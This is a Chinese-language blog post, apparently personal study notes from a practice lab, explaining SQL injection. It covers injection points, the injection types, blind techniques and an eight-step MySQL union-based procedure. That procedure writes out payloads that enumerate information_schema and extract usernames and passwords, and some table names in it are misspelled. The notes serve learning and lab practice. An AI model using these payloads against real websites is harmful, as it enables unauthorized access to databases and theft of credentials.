SQL注入

SQL注入原理:程序员在编写web代码的时候,没有对浏览器端提交的参数进行严格的过滤和判断,攻击者可以修改构造参数,提交SQL查询语句,从而实现与数据库交互,并从中获取数据库敏感信息。

与数据库交相关页面:http://www.xxx.com/xxx.asp?id=1 (asp注入)

                                    http://www.xxx.com/xxx.php?id=1 (php注入)

                                    http://www.xxx.com/xxx.jsp?id=1 (jsp注入)

如何web页面找SQL注入点:留言板、密码修改、注册地方、登入地方、更新的地方等。http头、cookices、user agent等地方。

                                   说明:cookices 、user agent 头里面的信息存在数据库,从而产生与数据库交互。

SQL注入分类:数字型、字符型、搜索型(%vince% or 1=1) XX型(username=('XX')or 1=1)

SQL注入提交方式:get型(地址栏可以看见参数)、post型(通过burp suite 抓包)、cookie型(通过burp suite抓包)

SQL注入攻击支持类型:order by配合 union select语句使用

                                        infoemation_schema注入(information_schema 是mysql5.0版本及以上的版本自带的数据库,里面包含了所有服务器里面的数据库的信息)

                                         http header注入把http header直接带入数据库

                                         盲注(布尔型、报错型、时间型)

SQL盲注型:布尔型注入:(通过猜测字段长度大于或者小于来对数据库名称字节范围确定,其中利用的函数是ascii):select ascii(substr(database(),1,1))>xx;

                      报错型注入:查看网页反馈结果,如果出现页面报错,则代表存在注入点

                      时间型注入:基于时间长短反馈结果显示,来确认是否为注入点(时间函数:sleep)

MYSQL1注入步骤:1、通过分号或and 1=1 and1=2来判断该位置是否存在注入点;

                                 2、确认SQL注入点是属于数字型还是字符型,如果是字符型注入点,则需要在?id=1后面加个分号,如果是数字型则不加分号;

                                 3、利用函数order by来判断数据库库名字段数个数:?id=1' order by 3 --+;

                                 4、确定库名字段数个数后,配合union select 函数来确定库名字段数:?id=-1' union select 1,2,3 --+(需要注意一点此时id=-1,如果id=1为真则不会继续判断后面内容,只有id=-1是假才会继续判断后面内容)

                                 5、页面显示字段数后,在利用查找语句union select  1,database(),version() 来确定数据库名和数据库版本信息(实验得出在security库中);

                                 6、得出版本信息再利用查找函数获取当前所在数据库中的的所有表名:union select 1,(select group_concat(table_name) from informtion_schema.tables where table_schema='security'),3 --+;(其中得出数据库中有users表,函数group_concat把库中内容连接起来)

                                 7、通过查询语句获取users表中的字段内容:union select 1,(select group_concat(column_name) from infoemtion_schema.column where table_name='users'),3 --+

                                 8、最后获取字段users中的用户名和密码:union select 1,(select group_concat(password) from securitr.users),(select group_concat(username) from security.users) --+

 

 

                                   

 

posted @ 2020-10-31 17:39  SheldonLiu  阅读(97)  评论(0)    收藏  举报